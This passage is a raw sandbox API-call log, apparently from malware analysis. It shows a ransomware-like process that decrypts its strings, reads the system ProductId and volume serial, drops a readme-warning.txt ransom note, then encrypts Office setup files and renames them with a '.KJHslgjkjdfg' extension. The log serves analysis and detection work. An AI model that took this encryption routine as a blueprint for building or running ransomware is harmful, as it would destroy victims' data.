dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.983] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0143.983] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.983] GetProcessHeap () returned 0x2a0000 [0143.983] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.983] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.983] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0143.983] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.983] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0143.984] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0143.984] RegCloseKey (hKey=0x13c) returned 0x0 [0143.984] GetProcessHeap () returned 0x2a0000 [0143.984] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0143.984] GetProcessHeap () returned 0x2a0000 [0143.985] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.985] GetProcessHeap () returned 0x2a0000 [0143.985] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.985] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.985] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0143.985] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.985] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0143.985] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.985] GetProcessHeap () returned 0x2a0000 [0143.985] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.985] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0143.985] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0143.985] GetProcessHeap () returned 0x2a0000 [0143.985] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dd0 [0143.985] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\readme-warning.txt") returned 113 [0143.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.988] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dd0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dd0*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0143.989] CloseHandle (hObject=0x13c) returned 1 [0143.989] GetProcessHeap () returned 0x2a0000 [0143.989] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a08 | out: hHeap=0x2a0000) returned 1 [0143.990] GetProcessHeap () returned 0x2a0000 [0143.990] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dd0 | out: hHeap=0x2a0000) returned 1 [0143.990] GetProcessHeap () returned 0x2a0000 [0143.990] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0143.990] GetProcessHeap () returned 0x2a0000 [0143.990] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.990] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0143.990] GetProcessHeap () returned 0x2a0000 [0143.990] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0143.990] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0143.990] GetProcessHeap () returned 0x2a0000 [0143.990] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc2) returned 0x2ed148 [0143.990] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0143.995] GetProcessHeap () returned 0x2a0000 [0143.995] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0143.995] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0143.995] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1 [0143.995] GetProcessHeap () returned 0x2a0000 [0143.995] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c4) returned 0x2f7730 [0143.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0144.000] GetProcessHeap () returned 0x2a0000 [0144.000] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0144.000] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0144.000] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0144.000] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xc, lpOverlapped=0x0) returned 1 [0144.003] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.003] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.003] GetProcessHeap () returned 0x2a0000 [0144.003] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.003] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0144.003] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.003] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0144.003] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0144.003] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0144.003] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0144.003] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0144.003] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0144.004] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.004] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.004] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.004] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x41d4, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x41d4, lpOverlapped=0x0) returned 1 [0144.005] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x41e0, dwBufLen=0x41e0 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x41e0) returned 1 [0144.005] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.005] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x41e0, lpOverlapped=0x0) returned 1 [0144.005] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.006] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x42b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.006] SetEndOfFile (hFile=0x13c) returned 1 [0144.008] GetProcessHeap () returned 0x2a0000 [0144.008] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.008] GetProcessHeap () returned 0x2a0000 [0144.008] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0144.009] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.kjhslgjkjdfg")) returned 1 [0144.009] CloseHandle (hObject=0x13c) returned 1 [0144.010] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0144.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0144.010] GetProcessHeap () returned 0x2a0000 [0144.010] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0144.010] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0144.010] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0144.010] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xa, lpOverlapped=0x0) returned 1 [0144.013] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.013] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.013] GetProcessHeap () returned 0x2a0000 [0144.013] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0144.013] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0144.013] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.013] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0144.013] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0144.013] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0144.013] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0144.013] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0144.014] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0144.014] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.014] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.014] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.014] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7976, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x7976, lpOverlapped=0x0) returned 1 [0144.015] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x7980, dwBufLen=0x7980 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x7980) returned 1 [0144.015] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.015] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x7980, lpOverlapped=0x0) returned 1 [0144.016] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.016] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x7a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.016] SetEndOfFile (hFile=0x13c) returned 1 [0144.019] GetProcessHeap () returned 0x2a0000 [0144.019] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0144.019] GetProcessHeap () returned 0x2a0000 [0144.019] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0144.019] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.kjhslgjkjdfg")) returned 1 [0144.020] CloseHandle (hObject=0x13c) returned 1 [0144.020] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0144.020] GetProcessHeap () returned 0x2a0000 [0144.020] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.020] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.020] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0144.020] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.020] GetProcessHeap () returned 0x2a0000 [0144.020] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0144.020] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.020] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0144.020] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.020] GetProcessHeap () returned 0x2a0000 [0144.021] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a00 [0144.021] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.021] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a00, pdwDataLen=0x290eb98 | out: pbData=0x2f7a00, pdwDataLen=0x290eb98) returned 1 [0144.021] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.021] GetProcessHeap () returned 0x2a0000 [0144.021] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0144.021] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.021] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0144.021] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.021] GetProcessHeap () returned 0x2a0000 [0144.021] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.021] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.021] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0144.021] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.021] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0144.021] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0144.021] RegCloseKey (hKey=0x13c) returned 0x0 [0144.021] GetProcessHeap () returned 0x2a0000 [0144.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0144.022] GetProcessHeap () returned 0x2a0000 [0144.022] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.022] GetProcessHeap () returned 0x2a0000 [0144.022] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.022] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.022] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0144.022] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.022] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0144.022] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0144.022] GetProcessHeap () returned 0x2a0000 [0144.022] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.022] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0144.022] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0144.022] GetProcessHeap () returned 0x2a0000 [0144.022] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dc8 [0144.022] wsprintfW (in: param_1=0x290db74, 